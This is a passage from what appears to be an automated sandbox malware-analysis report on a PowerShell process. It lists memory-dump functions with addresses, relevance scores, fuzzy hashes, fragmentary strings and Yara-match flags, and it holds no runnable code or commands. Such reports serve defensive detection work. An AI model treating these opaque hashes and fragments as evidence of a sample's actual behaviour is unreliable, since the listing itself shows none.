Opcode Fuzzy Hash: 1c243d8f0be4503df2fa1dfaebd1de4597db7acb711707195a0e70934ca8ab6f
Instruction Fuzzy Hash: 4CC19D35A0020ADFCB14DFA4D984A9DBBB6FF85310F118569E406AB365DB34ED89CF90

Function 04DCA980 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 328e9fa8aebcc9d179c113750f74d93776712559bb3231180e560f353491af49
Instruction ID: 216ec8ad601a5d5afdc23e17ed7ad7860af7b9cba586f9d4596b5bebb97b8941
Opcode Fuzzy Hash: 328e9fa8aebcc9d179c113750f74d93776712559bb3231180e560f353491af49
Instruction Fuzzy Hash: 42D1F574A0120A9FCB05CFA8D584A9DFBF2FF88310F258159E815AB361D775ED86CB90

Function 07AC8B88 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98fdb97676b372f853c70800d3d6adf9ea31880650b89fffd587c169a90bdd39
Instruction ID: 1d71089d86a4b5dbfc07ed8c982973e7c94648a658a13b528b00604877c53432
Opcode Fuzzy Hash: 98fdb97676b372f853c70800d3d6adf9ea31880650b89fffd587c169a90bdd39
Instruction Fuzzy Hash: F07125F1B04206EFCB21DB6998407AABBE2FFC5210F14847EC925DB285DB39D945C7A1

Function 04DC2AA0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 690a10b2ce15c3e2df98c83b6e7b58032efe374088b3d8740880d322c8e20fda
Instruction ID: 29cf0818d5477bb6abc2a07c4c90bc783d7c38f12f4d5f942932b82046571443
Opcode Fuzzy Hash: 690a10b2ce15c3e2df98c83b6e7b58032efe374088b3d8740880d322c8e20fda
Instruction Fuzzy Hash: 08917F74A046468FCB05CF58C4D49AEFBB2FF89310B288699D8559B3A5C735FC51CBA0

Function 04DC7A68 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bda93a2c9327962e98327381c3afc0749c0ce85c9b3bfa136031ce168e39f63
Instruction ID: 8516038d19a567de3410cfd5c94ac8a0978c757069e10bd93738955a1b8c176a
Opcode Fuzzy Hash: 3bda93a2c9327962e98327381c3afc0749c0ce85c9b3bfa136031ce168e39f63
Instruction Fuzzy Hash: 9D71AB70A0024ACFCB15DF68C880AAEBBF6FF85314F14856ED4569B261DB75AC46CF90

Function 04DC7BD6 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cd6e94d03cff3b9fc35392a13700d38b93262fabfe78c75c1c70a86c6fce5d6
Instruction ID: 1373401b19c4cd19d4f3459c1387bb3a504b14f2b7ee929042ce27a45b462822
Opcode Fuzzy Hash: 5cd6e94d03cff3b9fc35392a13700d38b93262fabfe78c75c1c70a86c6fce5d6
Instruction Fuzzy Hash: 8D713A74A0020ADFDB14DFA5D484BAEBBF6BF88314F148529D412AB7A4DB34AD46CF50

Function 04DCD627 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be45b80cff9d17a1cc359f9d3f5a68588aac4fefc19c59815788353c9f501e5a
Instruction ID: 09a439875ee72314000da1705cf25622b38939693794228059a049430081bdcd
Opcode Fuzzy Hash: be45b80cff9d17a1cc359f9d3f5a68588aac4fefc19c59815788353c9f501e5a
Instruction Fuzzy Hash: B151A774A053448FDB05EB78C8947AEBBF2EF89310F19846AC4459F796CF349C468B61

Function 07AC2050 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e6d7181f7b4daedf5a169395f85cba1320caafdb726d71b53f6926f1bfac6d1
Instruction ID: 95a3bd8baa5aee0593eb17f721dc169402d9584348bb066aded7ced6723f0d08
Opcode Fuzzy Hash: 5e6d7181f7b4daedf5a169395f85cba1320caafdb726d71b53f6926f1bfac6d1
Instruction Fuzzy Hash: 0B41E8F1A00202AFEB20DF589D0177A7BB6BFC5254F05819AD9249F2E1D735DD41C7A2

Function 04DCD680 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbddf961a3d1a6b94561fdb652274508fe56d5b36fba71a22b769edc7755a5cb
Instruction ID: 809777716f152d61c5ec51c37e1d6110bea00dc89226dad6c4998f13f2e32ae1
Opcode Fuzzy Hash: dbddf961a3d1a6b94561fdb652274508fe56d5b36fba71a22b769edc7755a5cb
Instruction Fuzzy Hash: 3F414078B002048FDB05EF79C8947AEBAE7EF88310F14C469D906AB795CB35DC418BA0

Function 04DC7A53 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c086ae30dcc38bd5033ed87b2629dc58c64ac0d0f7117118a5dd0745bf86d5e
Instruction ID: 05ae3d48dea704732338ae9e10e33889eb6079d06b71af46d56444e654e392be
Opcode Fuzzy Hash: 0c086ae30dcc38bd5033ed87b2629dc58c64ac0d0f7117118a5dd0745bf86d5e
Instruction Fuzzy Hash: BA418F70A0020ADFDB18EFA5C8846AEBBF6FF85350F14846DD016AB365DB74A945CF90

Function 04DC2BB0 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52949684b1c4d06976bea0bc4f8d226ef154c2727b167e62f123b99cda94813f
Instruction ID: 234e657ca34523b15073b0f8538c7628479d1e19135204bf1c28d79d8537ff62
Opcode Fuzzy Hash: 52949684b1c4d06976bea0bc4f8d226ef154c2727b167e62f123b99cda94813f
Instruction Fuzzy Hash: DF414B74A001068FCB05CF58C5D49AEFBB2FF48314B258699D856AB364C732FD51CBA4

Function 07AC8B68 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a76d8acd2a37c5da21ea6ae1ba2b9c2b343fb55059b07eb01f8f6a1eca96e51
Instruction ID: bfefb2e139f0a1cfb375fcbe05733f9f3485f4f2fcab17fc7c25844f83f44249
Opcode Fuzzy Hash: 0a76d8acd2a37c5da21ea6ae1ba2b9c2b343fb55059b07eb01f8f6a1eca96e51
Instruction Fuzzy Hash: 2C2108F1A09302AFDB11DB6499417B97BA1AFC1304F08405AD9259F2D2D73DDA45C7A2

Function 04DCF510 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 991c99ab58620be68cf8074d1eec7a48782dad802687dc8d537d1abe65761629
Instruction ID: fd1424dd82cd66d4d1a052378f68aafe4233c4bcfc79d2fe6fb98b022707a6b7
Opcode Fuzzy Hash: 991c99ab58620be68cf8074d1eec7a48782dad802687dc8d537d1abe65761629
Instruction Fuzzy Hash: 5611B13970D2904FCB0A5B78A4644AD7FA3EFC6621315049FD582CBBA2CE349D07C762

Function 07AC42A0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f564b77b439982f03a24e0d40bac6dbf3c4a2160da6c12a6616e78bf015c80ba
Instruction ID: 80818932392aa9a663c5bbbdacf1a93b4928eece29dd1e019a0f795b108ff431
Opcode Fuzzy Hash: f564b77b439982f03a24e0d40bac6dbf3c4a2160da6c12a6616e78bf015c80ba
Instruction Fuzzy Hash: 5B1138B5300346BBD7389B698811B2ABF96EFC5721F24C12EE9699B380CE31D841C759

Function 04DCA950 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 015890cc45576812b5fee31af53286996f3e079cb7c8e1e522715935fefa0d29
Instruction ID: 754f50b23956a12076f3710b026cb92e3ec0e4ad288322664b19cbf372c4c80b
Opcode Fuzzy Hash: 015890cc45576812b5fee31af53286996f3e079cb7c8e1e522715935fefa0d29
Instruction Fuzzy Hash: 492181B4A053498FCB01DF98D8909AEBFB0FF4A310B19419AD455EB392D735ED41CBA1

Function 04DCB948 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39c082cdaae3ccc7ab58129452e58eb731f6d78331e38aa7631995a71387fd43
Instruction ID: 937e44645a4ab7bfa3f5a2cc3f8eaed810d9fd890e46df72dc01d1c4c1389f36
Opcode Fuzzy Hash: 39c082cdaae3ccc7ab58129452e58eb731f6d78331e38aa7631995a71387fd43
Instruction Fuzzy Hash: 9F21E6B4A006099FCB04DF58D9859AAFBB1FF88310B258599E949EB351C731FC51CBA0

Function 07AC0000 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0cdc6ce59f5ad55a61f6926902c84639540a891d4fead3050f63a6b3ba67a5d
Instruction ID: 783d6a2234532b06289a313fa1b3394553f9e6930e16eb4c7e2f2429d57c394a
Opcode Fuzzy Hash: b0cdc6ce59f5ad55a61f6926902c84639540a891d4fead3050f63a6b3ba67a5d
Instruction Fuzzy Hash: 57F0AD9691A3C19FF31353A41C762D46F308B97202B5A41C7C5919A2E3DC09180A8BE2

Function 04DCF520 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25cda1245bed69da1db7565a3fd676272bd1799fe160035e366b3ab050b1c582
Instruction ID: 0ebac4e4449cef765fed714f2ca5394acabbbe06a90be2ad10b94246ad562f0f
Opcode Fuzzy Hash: 25cda1245bed69da1db7565a3fd676272bd1799fe160035e366b3ab050b1c582
Instruction Fuzzy Hash: 2EF030393185208B8B056B28F05846E77EBEFCD632315441EE987C7B96DF759C0387A5

Function 04DCFDC9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99d1f9a657815c2a15f8879ad4d5454e4eac438dab8b3dd8d171cdff41cdee19
Instruction ID: 893e6d8b5440ab66a2cef5e2c064dd6b18d3f8bc83dd121cfbad5c3553a317de
Opcode Fuzzy Hash: 99d1f9a657815c2a15f8879ad4d5454e4eac438dab8b3dd8d171cdff41cdee19
Instruction Fuzzy Hash: 49E09A70D042499FC341DFBCC48159DFFF4EE0A210B2088EEC808EB212E2319A02CBD2

Function 04DCFDD8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 0779ee78385390e89c20a2d20ed4f3855a6e0f609b648a18c84db82ae7ec8dcb
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 0ED06270D04209DF8780DFADC94156DFFF4EB59200F5085AE8919D7341F73196128BD1

Non-executed Functions

Function 0A49DF68 Relevance: 3.1, Strings: 2, Instructions: 612COMMON

Download Yara Rule

Strings

l, xrefs: 0A49E7A3
)3", xrefs: 0A49E779

Memory Dump Source

Source File: 00000002.00000002.2375833241.000000000A496000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A496000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a496000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID: )3"$l
API String ID: 0-2503845352
Opcode ID: d16d5126732d2c0af58ea63b5ea72120361ff9581188d026b00774d14581e44f
Instruction ID: eaae9b5637cdc03385b094ca155219e3a46f373950854924e7d338c00a54b187
Opcode Fuzzy Hash: d16d5126732d2c0af58ea63b5ea72120361ff9581188d026b00774d14581e44f
Instruction Fuzzy Hash: B5420A355083858FDF31DF38C8997DA7FE2AF56360F49829ACC998B296D3348546CB12

Function 0A4A0CEA Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

*J/, xrefs: 0A4A0D75

Memory Dump Source

Source File: 00000002.00000002.2375833241.000000000A496000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A496000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a496000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID: *J/
API String ID: 0-2493611684
Opcode ID: 6a8184a06bcc7c2f63354500aaa64a850f0afa8b5cd7fd9f5f29ea6e5f0e68f7
Instruction ID: 2f37f276f4675c30d4b098f1ac82031baf2fa75fc30fc510c7b78ee34db5d700
Opcode Fuzzy Hash: 6a8184a06bcc7c2f63354500aaa64a850f0afa8b5cd7fd9f5f29ea6e5f0e68f7
Instruction Fuzzy Hash: DE3161676053424BE7244D7989A035777B3BFE7760FAA82AECC514B3D9E331C482C602

Function 0A4A0D68 Relevance: 1.3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

Strings

*J/, xrefs: 0A4A0D75

Memory Dump Source

Source File: 00000002.00000002.2375833241.000000000A496000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A496000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a496000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID: *J/
API String ID: 0-2493611684
Opcode ID: 798afa5bfcd1fe4973762b3ce732f5a01bf26f170f04af3059b6cb8bf5477c78
Instruction ID: d17a756fa35500c5e78c69bdb6460ce1d318654ce3ff7c3e786ba2a2af5a4298
Opcode Fuzzy Hash: 798afa5bfcd1fe4973762b3ce732f5a01bf26f170f04af3059b6cb8bf5477c78
Instruction Fuzzy Hash: 2FF0246F60110186D7384E14DCA47A3772BBFF5704BEAC58AD81587759D275C8C7CA90

Function 0A4A0F79 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2375833241.000000000A496000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A496000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a496000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc7cf67b6c216b62bec8b14d0378ec3f00f8a93f73ebfeea025defa5dfbaaac5
Instruction ID: 784821d89ddd0754599e8f53987555ba2a0cd0f631e0fa0a482376139b738dad
Opcode Fuzzy Hash: cc7cf67b6c216b62bec8b14d0378ec3f00f8a93f73ebfeea025defa5dfbaaac5
Instruction Fuzzy Hash: 69C08C3A9128204ACD019A0CC144B8473E893AC610F010063D8289B61282145E41C184

Function 0A49CEBF Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2375833241.000000000A496000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A496000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a496000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73038e3b09c20e77ecd81fa22771638bfd12884e6dbd1297f00796bd83ec41c6
Instruction ID: b4a7526fe8f501b84607ba17e2ee5dcb113065cbe7dd966a10b29d449cb0158e
Opcode Fuzzy Hash: 73038e3b09c20e77ecd81fa22771638bfd12884e6dbd1297f00796bd83ec41c6
Instruction Fuzzy Hash: F9B09238611680CFDB51CA08C1A0F8073A0B704700F861480E8408BB15C269E840CA00

Function 07AC16D0 Relevance: 14.2, Strings: 11, Instructions: 488COMMON

Download Yara Rule

Strings

ol, xrefs: 07AC1C6E
$cq, xrefs: 07AC1708
tPcq, xrefs: 07AC1759
$cq, xrefs: 07AC16E2
tPcq, xrefs: 07AC174D
ol, xrefs: 07AC1C60
ol, xrefs: 07AC17B7
4'cq, xrefs: 07AC1937
ol, xrefs: 07AC17C5
$cq, xrefs: 07AC1714
4'cq, xrefs: 07AC1941

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$tPcq$tPcq$$cq$$cq$$cq$ol$ol$ol$ol
API String ID: 0-2601237557
Opcode ID: 14719aa0832158ea6970554382269321b478017453c0c9ac9e0dbc38a0fdfddd
Instruction ID: ddf4a744d7b654876cc36013b0466133759fe861aa2b0cc63ea58f27797f4f59
Opcode Fuzzy Hash: 14719aa0832158ea6970554382269321b478017453c0c9ac9e0dbc38a0fdfddd
Instruction Fuzzy Hash: C4F117F6B0420AAFDB10DB69D8016AABBB2EFC5310F14806ED525CB252DB31DD45CBA1

Function 07ACE465 Relevance: 14.0, Strings: 11, Instructions: 209COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07ACE6C3
tPcq, xrefs: 07ACE625
4'cq, xrefs: 07ACE6B7
d%iq, xrefs: 07ACE5DF
tPcq, xrefs: 07ACE619
d%iq, xrefs: 07ACE64D
d%iq, xrefs: 07ACE643
84wl, xrefs: 07ACE5D1
d%iq, xrefs: 07ACE682
$cq, xrefs: 07ACE500
84wl, xrefs: 07ACE5C7

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$84wl$84wl$d%iq$d%iq$d%iq$d%iq$tPcq$tPcq$$cq
API String ID: 0-3281683554
Opcode ID: d21c5c8331328f4fd65805421d150ba334f29f23517f311c73e03e260b27991f
Instruction ID: eb40e0b90668f195e1e675d45e0c735ab055a6254f55b872f9f7f4c5e9bce708
Opcode Fuzzy Hash: d21c5c8331328f4fd65805421d150ba334f29f23517f311c73e03e260b27991f
Instruction Fuzzy Hash: 007105B5B1820AEFCF25CF68D901A6ABBA2EFC5310F14805DD9219F291DB31DD41CB91

Function 07AC9EA0 Relevance: 12.9, Strings: 10, Instructions: 420COMMON

Download Yara Rule

Strings

,Syl, xrefs: 07AC9FB4
,Syl, xrefs: 07AC9FC0
4'cq, xrefs: 07ACA30B
4'cq, xrefs: 07ACA178
d5ik, xrefs: 07AC9FA6
4'cq, xrefs: 07AC9FDF
4'cq, xrefs: 07ACA317
4'cq, xrefs: 07ACA16E
4'cq, xrefs: 07AC9FD5
xSyl, xrefs: 07AC9EF6

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: ,Syl$,Syl$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$d5ik$xSyl
API String ID: 0-663772908
Opcode ID: 4d2ac5f21b0647bf6371c32325f9b6884b899c044b76086b86826fc6b39a226d
Instruction ID: 3cb85e5dd722e73019c802eb36735b31d02e068125c42051fd9f57dece5f8c18
Opcode Fuzzy Hash: 4d2ac5f21b0647bf6371c32325f9b6884b899c044b76086b86826fc6b39a226d
Instruction Fuzzy Hash: CFE106B1B0421AEFDB25DF6D981467ABBB2AFC6310F14C0AEC525CB256DB31D841C7A1

Function 07AC0918 Relevance: 12.8, Strings: 10, Instructions: 313COMMON

Download Yara Rule

Strings

$cq, xrefs: 07AC0AFA
ol, xrefs: 07AC0BDD
tPcq, xrefs: 07AC0B65
#ik, xrefs: 07AC09E7
ol, xrefs: 07AC0BCF
4'cq, xrefs: 07AC0A1B
$cq, xrefs: 07AC0B20
$cq, xrefs: 07AC0B2C
tPcq, xrefs: 07AC0B71
4'cq, xrefs: 07AC0A27

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$tPcq$tPcq$#ik$$cq$$cq$$cq$ol$ol
API String ID: 0-2136064415
Opcode ID: eec84dd685d6bf66739c156e15c4dcec3c0e8d1affaab55594bdcefa2c1de736
Instruction ID: 00652e6db8041f50c63dc23ca2b1d3aab1686ae730c4d449c01ce79a70e4ed5b
Opcode Fuzzy Hash: eec84dd685d6bf66739c156e15c4dcec3c0e8d1affaab55594bdcefa2c1de736
Instruction Fuzzy Hash: 74A108B2714216EFDB25CB799C1177BBBF6AFC2210F18806ED565CB291DA31C841C7A1

Function 07ACECB6 Relevance: 11.4, Strings: 9, Instructions: 197COMMON

Download Yara Rule

Strings

(iq, xrefs: 07ACEF2E
84wl, xrefs: 07ACEDB6
(iq, xrefs: 07ACEF38
tPcq, xrefs: 07ACEF04
4'cq, xrefs: 07ACEFDC
84wl, xrefs: 07ACEEB2
$cq, xrefs: 07ACED35
tPcq, xrefs: 07ACEE09
(iq, xrefs: 07ACEECA

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$84wl$84wl$tPcq$tPcq$$cq$(iq$(iq$(iq
API String ID: 0-3256343561
Opcode ID: fce7baf32b2d9041c1ad9b3a60a3688e4960f58926c83f359d4c6e01bb23f307
Instruction ID: 7bce646e3bb1e7d77b1bdd02f06fda17754e46d5c21c250b74dc08d985598b57
Opcode Fuzzy Hash: fce7baf32b2d9041c1ad9b3a60a3688e4960f58926c83f359d4c6e01bb23f307
Instruction Fuzzy Hash: DF61C4B2605206FFDB24CF44C540B6ABBF6AFC5711F59845DE825AB295CB31EC40CBA1

Function 07ACF738 Relevance: 10.2, Strings: 8, Instructions: 221COMMON

Download Yara Rule

Strings

XRhq, xrefs: 07ACF799
tPcq, xrefs: 07ACF848
84wl, xrefs: 07ACF7F1
tPcq, xrefs: 07ACF83C
84wl, xrefs: 07ACF7E7
$cq, xrefs: 07ACF7B5
XRhq, xrefs: 07ACF8CD
XRhq, xrefs: 07ACF8DD

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 84wl$84wl$XRhq$XRhq$XRhq$tPcq$tPcq$$cq
API String ID: 0-1119697026
Opcode ID: 4d0ac446e0da6b0b3727e3cee7f10c2cbb736ad34ad69b3304e5c12eeeb32d32
Instruction ID: 8984cb38d077fa494fbb4f23c0a8fe2a270a6b70b25e391f9ed67ef757a0521d
Opcode Fuzzy Hash: 4d0ac446e0da6b0b3727e3cee7f10c2cbb736ad34ad69b3304e5c12eeeb32d32
Instruction Fuzzy Hash: C071D572B00105AFDF25DB6895016AABBF3AFC9311F1580AEE425AB395CB31DD41CBA1

Function 07AC9AA8 Relevance: 9.0, Strings: 7, Instructions: 252COMMON

Download Yara Rule

Strings

,Syl, xrefs: 07AC9C85
xSyl, xrefs: 07AC9ABC
tPcq, xrefs: 07AC9B4C
tPcq, xrefs: 07AC9B58
xSyl, xrefs: 07AC9C53
,Syl, xrefs: 07AC9C91
p5ik, xrefs: 07AC9C77

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: ,Syl$,Syl$p5ik$tPcq$tPcq$xSyl$xSyl
API String ID: 0-4341518
Opcode ID: 59d2b53cbad4dfcf552bc797a42b45f86d3145692b23d796fddee7e71b2664c7
Instruction ID: e223a7ca4b06e2c055125f08c1a2d7907b32f1aafbdaa8476e6a3bc05198aaa9
Opcode Fuzzy Hash: 59d2b53cbad4dfcf552bc797a42b45f86d3145692b23d796fddee7e71b2664c7
Instruction Fuzzy Hash: 738158B1B05345AFCB21DB6888017ABBBF29FC6310F14806ED529DF281DA75E941C7A1

Function 07ACE566 Relevance: 7.6, Strings: 6, Instructions: 85COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07ACE6B7
d%iq, xrefs: 07ACE5DF
tPcq, xrefs: 07ACE619
d%iq, xrefs: 07ACE64D
d%iq, xrefs: 07ACE643
84wl, xrefs: 07ACE5C7

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$84wl$d%iq$d%iq$d%iq$tPcq
API String ID: 0-374928291
Opcode ID: 0a73411878a87585a983e756495f12f16644c12dcd6f9cc4752b0197f0198b35
Instruction ID: c63b1ae5ae1c33355cc7071cd1138c0c08caf01a847d3240ec2110f77ec0d153
Opcode Fuzzy Hash: 0a73411878a87585a983e756495f12f16644c12dcd6f9cc4752b0197f0198b35
Instruction Fuzzy Hash: 6431BFB1B14215AFCB28CF58C540A6ABBB2FF88714F25805DE925AB391C731ED40CB92

Function 07AC57B0 Relevance: 6.4, Strings: 5, Instructions: 146COMMON

